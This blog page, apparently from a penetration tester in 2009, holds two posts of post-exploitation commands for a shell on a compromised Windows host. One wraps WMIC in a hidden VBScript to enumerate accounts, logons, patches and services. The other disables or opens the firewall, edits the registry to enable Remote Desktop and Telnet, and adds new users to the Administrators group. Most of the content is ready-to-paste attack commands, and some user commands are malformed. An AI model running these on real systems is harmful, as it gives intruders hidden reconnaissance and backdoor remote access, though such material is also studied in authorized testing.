Navigation

Entries in shell (2)

Wednesday
Mar042009

Running WMIC in a Command Shell

WMIC is one of those Windows command that you just love do to it's flexibility but sadly when you have a shell you are not able to run it because it breaks the shell losing possible hours of work to achieve the shell and possibly by running the attack again one might bring down the target server. I found that the best way to run WMIC is with Metasploit Meterpreter by executing the command in the following way in Meterpreter:


e execute -H -f cmd.exe  -a "/c wmic /append:c:\windows\temp\34des34.txt process get name,processid,commandline"
you must make sure that the command is ran as hidden with the "-H" option and that you do not use the "-i" and "-c" options since by using this options it will break the shell. To get the output of our commands we make sure that we use the "/append:" so we can collect the output of our commands in to a single text file that we can later open from within Meterpreter or download such file.

When not using Meterpreter and running from a simple command shell like from netcat I use to use in the past SC to create a service that would execute a script with all of my wmic commands or use schtasks or at to schedule the command and then collect the output but this proved to be very time consuming and prone to error. So I changed my approach and started using WSH scripting to execute wmic for me. It works in the following manner, I first create a vb script for executing my wmic commands, it can be even used to execute Powershell!!!


echo CreateObject("Wscript.Shell").Run Wscript.Arguments(0), 0, False > execcmd.vbs
the we can execute our wmic command in the following manner:

cscript //nologo execcmd.vbs "wmic /append:c:\windows\temp\34des34.txt process get name,processid,commandline"
we can get the output by running:

type c:\windows\temp\34des34.txt

we can even script out entire enumeration by doing something like this:


echo wmic /append:c:\windows\temp\34des34.txt computersystem list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt useraccount list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt group list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt service list brief >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt volume list brief >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt process list brief >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt startup list full >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt rdtoggle list >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt qfe >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt logicaldisk get description,filesystem,name,size >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt logicaldisk get description,name,freespace,size >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt volume get label,freespace,filesystem,capacity,driveletter >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netlogin get name,lastlogon >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netlogin get name,badpasswordcount >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt desktop get screensaversecure,screensavertimeout >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt logon get authenticationpackage >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netclient get name >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt netuse get name,username,connectiontype,localname >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt nteventlog get path,filename,writeable >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt os get name,servicepackmajorversion >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt service get name,startmode,state,status >> c:\windows\temp\sdcx.cmd
echo wmic /append:c:\windows\temp\34des34.txt product get name,version >> c:\windows\temp\sdcx.cmd
once the script is generated we execute the script by running:

cscript //nologo execcmd.vbs "cmd /c c:\windows\temp\sdcx.cmd"

Tuesday
Feb172009

How to get Terminal from Shell in Windows

I will be focusing mainly on Windows XP and 2003 and beyond since both the Telnet Service and Remote Desktop Service are already present or can be installed without having to reboot the server.  If you are using the latest SVN version of Metasploit you can just run the following Meterpreter Scripts to enable the service on the target machine:

·         run getgui –e

·         run gettelnet –e

But what if you have shell, what do you do? Let’s start with enabling Remote Desktop on the target machine, first things first we want to know what version of windows is running the target machine if we do not know the version of the target we have gotten a shell on, this can be achieved by running:

·         ver

This will give you the version of Windows of the target machine and you can deduce the OS from this number:

·         5.0 is Windows 2000

·         5.1 is Windows XP

·         5.2 is Windows 2003

·         6.0 is Windows Vista and Windows 2008

·         6.1 is Windows 7

Know that we know the version of the OS we can check if RDP is already running by just running:

·         Netstat –na | find “3389”

If we do not see it running we check if the built in firewall is enabled on our target:

·         Netsh firewall show opmode

We must check in specific if operational mode is enabled, if it is the firewall is enabled and if exception mode is enabled that means we can punch holes in the firewall. Depending on the ROE (Rules of Engagement) we can modify the configuration of the firewall, this are some of the commands we may use:

·         netsh firewall set opmode mode=DISABLE (Turn off the Firewall)

·         netsh firewall set opmode exception=ENABLE (Turn on Exceptions)

·         netsh firewall set service type = remotedesktop mode = enable (Enable Remote Desktop port thru the Firewall)

·         netsh firewall set service type = remotedesktop mode = enable scope=CUSTOM 192.168.1.20 (Limit access to Remote Desktop port to only the IP specified)

Now that we have the firewall configure we can proceeded to enable the RDP service, we must first set a registry key:

·         reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" | find "fDenyTSConnections" (if value is 0x0 connections are allowed if 0x1 connection is disabled)

·         reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f (Enable RDP Connections)

Once this is set we can proceed by starting the Terminal Services Service, from shell this is achieved with the “SC” command, great care should be taken not to run sc by itself or with the “/?” switch since this will break the shell. The commands to enable the Terminal Services service are:

·         sc config termservice start= auto (This will set the service to auto start)

·         sc start termservice (This command will start the service)

If we want to create a user from shell and give him RDP access we can run the following commands to achieve this if we have the necessary privileges to create the user:

·         net user /add (Adds a user)

·         net net localgroup "Remote Desktop Users" /add" (Adds user to Remote Desktop Users so as to be able to connect)

·         net localgroup Administrators /add (Adds the user to the local admin group if you have the privileges)

Now we can connect to the target machine if we have access to port 3389.  

 

Getting telnet on a windows host is easier than with RDP, in Windows XP and Windows 2003 it is already installed and disabled, in the case of Windows Vista and Windows 2008 it is not installed by default but the files for installing it are already on the file system. Just like with RDP we can check if the service is installed by running the following command:

·         sc query TlntSvr

If the service is running will see that the State will be running, if it is not installed like in the case of Windows Vista and 2008 we will get an error message that the service does not exists. In the case of Windows Vista and 2008 to install the service we just need to run the following commands:

·         pkgmgr /iu:"TelnetServer" (Installs Telnet Server)

·         pkgmgr /iu:"TelnetClient" (Installs Telnet Client)

Once we have the service installed we can start the service by running the following commands:

·         sc config TlntSvr start= auto (This will set the service to auto start)

·         sc start TlntSvr (This command will start the service)

To open the port in the Windows Firewall in case it is enabled we just run the following command:

·         netsh firewall set portopening protocol = tcp port = 23 mode = enable'

Users that will connect via telnet must be part of the TelnetClients local group, to create an account and add such account to this group the following commands can be ran from shell:

·         net user /add (Adds a user)

·         net net localgroup TelnetClients   /add" (Adds user to TelnetClients Users so as to be able to connect)

·         net localgroup Administrators /add (Adds the user to the local admin group if you have the privileges)

Once this is all done if we have access to port 23 we can connect to the target server. One important note Telnet is clear text and great care should be taken from where we are connecting to the target machine since we might introduce risk in to the client environment. Another special note is to document all commands ran on the target machine for clean up after the engagement. The best way I have found to execute this commands is to have them in a text file on my attacking machine modify the command inside a text editor and copy and paste them in to the shell window.